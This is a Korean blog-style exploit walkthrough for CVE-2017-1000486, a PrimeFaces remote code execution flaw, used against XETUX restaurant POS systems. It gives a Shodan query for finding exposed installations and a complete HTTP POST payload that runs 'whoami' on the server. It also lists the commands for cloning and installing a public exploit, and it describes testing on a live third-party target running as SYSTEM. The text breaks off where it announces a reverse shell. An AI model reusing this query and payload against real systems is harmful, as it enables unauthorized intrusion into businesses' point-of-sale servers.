
CVE-2017-1000486 익스플로잇
이번 기회에 우리는 우연히 레스토랑 POS 애플리케이션 여러 곳에 존재하는 취약점을 발견했습니다 XETUX. 이는 레스토랑 모니터링 및 자동화 솔루션입니다. 파나마에서는 여러 레스토랑에서 널리 사용되는 도구입니다.
해당 취약점은 RCE(원격 코드 실행)로, 공격자가 인증 없이 코드를 실행하고 대상에서 권한을 획득할 수 있습니다.

Xetux 애플리케이션에 존재하는 라이브러리를 발견한 후, 해당 라이브러리는 PDF 생성을 담당하는 PrimeFaces라고 불립니다. 우리는 Shodan에서 검색을 수행하여 잠재적 대상을 식별하기로 결정했습니다.
http.title:"@XETUX" country:PA
검색 결과 파나마에서 40개, 전 세계적으로 334개의 결과가 나왔습니다.

파나마에 있지 않은 대상 중 하나에서 취약점을 확인했습니다. 백엔드를 분석한 결과,

애플리케이션이 nt authority\system의 모든 권한으로 설치된 것을 확인할 수 있습니다. 이제 무슨 일이 일어나는지 설명하겠습니다:
애플리케이션은 Apache Tomcat을 서버로 사용하고, 백엔드에는 Java를 사용합니다. 애플리케이션은 PrimeFaces라는 타사 라이브러리 또는 플러그인을 사용하며, 문제가 있는 경로는 엔드포인트 javax.faces.resource/dynamiccontent.properties.xhtml입니다.
해당 라이브러리에 대해 검색한 결과 취약점을 발견했습니다. PrimeFaces는 다음과 같이 동적 콘텐츠를 로드합니다.
/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true
문제는 pdfid 매개변수에 있습니다.
pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl
매개변수 값은 암호화되어 있으며 요청이 올바르게 복호화될지 확인할 방법이 없습니다. 불행히도 기본 키 값을 수정하지 않으면 기본 키 생성을 요청할 수 있습니다. 다행히도 우리에게는 수행된 모든 테스트에서 기본 키가 유지되었습니다.
마찬가지로 패딩 오라클 공격(Padding Oracle Attack)을 수행하고 Padbuster 도구를 사용하여 키를 얻을 수 있습니다. 다음은 요청입니다.
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643
pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami
앞서 언급했듯이 RCE를 포함하는 라이브러리는 PrimeFaces이며, 공개된 익스플로잇이 있습니다 CVE-2017-1000486.
익스플로잇을 다운로드하여 취약점을 테스트해 보겠습니다.
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt
익스플로잇을 실행합니다.

실행하면 키와 요청이 출력됩니다.

명령의 결과를 반환합니다.

이제 서버에 액세스하기 위해 리버스 셸을 획득하겠습니다:
